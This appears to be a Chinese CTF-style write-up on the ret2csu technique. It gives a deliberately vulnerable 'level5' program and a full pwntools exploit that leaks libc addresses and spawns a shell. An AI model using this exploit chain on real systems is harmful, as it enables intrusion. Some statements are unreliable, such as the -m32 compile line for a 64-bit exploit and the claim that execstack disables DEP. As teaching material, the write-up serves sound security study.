ret2csu
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
也就是通用gadgets
ret2csu—通用gadgets
复现level5
编译
gcc -m32 -fno-stack-protector -z execstack -o level5 level5.c
-m32意思是编译为32位的程序
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
首先是栈溢出漏洞,其次,由于是64位程序,所以需要控制gadgets,
这里使用的是通用gadgets
也就是ret2csu
利用过程:
- 第一通过栈溢出 泄露write的got
然后就是通过libc中的偏移
计算出system的got
print("##### get write_addr #####")
payload1 = 'a'*0x88
payload1 += p64(csu_pop_addr)
payload1 += p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)
payload1 += p64(csu_mov_addr)
payload1 += 'a'*0x38
payload1 += p64(func_addr)
p.recvuntil("Hello, World\n")
p.send(payload1)
write_addr = u64(p.recvn(8))
print(hex(write_addr))
system_addr = write_addr - offset_addr
bin_sh = write_addr - bin_sh_addr
print(hex(system_addr)+","+hex(bin_sh))
这里一个是可以用Libcsearcher库找libc文件
另一个就是通过ldd查看二进制文件的libc文件
ldd level5
- 第二个payload就需要写入system的地址和‘/bin/sh’字符串
因为在csu中,system的参数是由edi传入的
只能传入4字节地址
但是实际使用时rdi,8字节
这里向bss写入则是因为bss的地址长度就是4字节长度
payload2
print('##### load bin_sh to bss ')
payload2 = 'a'*0x88
payload2 += p64(csu_pop_addr)
payload2 += p64(0)+p64(1)+p64(read_got)+p64(16)+p64(bss_addr)+p64(0)
payload2 += p64(csu_mov_addr)
payload2 += 'a'*0x38
payload2 += p64(func_addr)
p.send(payload2)
sleep(1)
p.send(p64(system_addr)+"/bin/sh\0")
- 最后就是获取shell了
print("##### get--shell #####")
payload3 = 'a'*0x88
payload3 += p64(csu_pop_addr)
payload3 += p64(0)+p64(0)+p64(bss_addr)+p64(0)+p64(0)+p64(bss_addr+8)
payload3 += p64(csu_mov_addr)
完整exp
from pwn import *
elf = ELF("level5")
libc = ELF("libc.so.6")
p = process("./level5")
##### address #####
csu_pop_addr = 0x40061a
csu_mov_addr = 0x400600
bss_addr = elf.bss()
func_addr = elf.symbols['vulnerable_function']
offset_addr = libc.symbols['write'] - libc.symbols['system']
bin_sh_addr = libc.symbols['write'] - libc.search('/bin/sh').next()
write_got = elf.got["write"]
read_got = elf.got['read']
##### payload1 #####
print("##### get write_addr #####")
payload1 = 'a'*0x88
payload1 += p64(csu_pop_addr)
payload1 += p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)
payload1 += p64(csu_mov_addr)
payload1 += 'a'*0x38
payload1 += p64(func_addr)
p.recvuntil("Hello, World\n")
p.send(payload1)
write_addr = u64(p.recvn(8))
print(hex(write_addr))
system_addr = write_addr - offset_addr
bin_sh = write_addr - bin_sh_addr
print(hex(system_addr)+","+hex(bin_sh))
##### payload2 #####
"""
print("##### get--shell #####")
payload2 = 'a'*0x88
payload2 += p64(csu_pop_addr)
payload2 += p64(0)+p64(1)+p64(system_addr)+p64(0)+p64(0)+p64(bin_sh)
payload2 += p64(csu_mov_addr)
payload2 += 'a'*0x38
payload2 += p64(func_addr)
raw_input()
p.send(payload2)
"""
##### this is wrong payload2,bin_sh is 8bytes,but edi is 4bytes so must to move to bss(4bytes address)
print('##### load bin_sh to bss ')
payload2 = 'a'*0x88
payload2 += p64(csu_pop_addr)
payload2 += p64(0)+p64(1)+p64(read_got)+p64(16)+p64(bss_addr)+p64(0)
payload2 += p64(csu_mov_addr)
payload2 += 'a'*0x38
payload2 += p64(func_addr)
p.send(payload2)
sleep(1)
p.send(p64(system_addr)+"/bin/sh\0")
##### payload3 #####
print("##### get--shell #####")
payload3 = 'a'*0x88
payload3 += p64(csu_pop_addr)
payload3 += p64(0)+p64(0)+p64(bss_addr)+p64(0)+p64(0)+p64(bss_addr+8)
payload3 += p64(csu_mov_addr)
#raw_input()
p.send(payload3)
p.interactive()
结果
本地打通了 远程倒还没试(没搭过QAQ)
结束~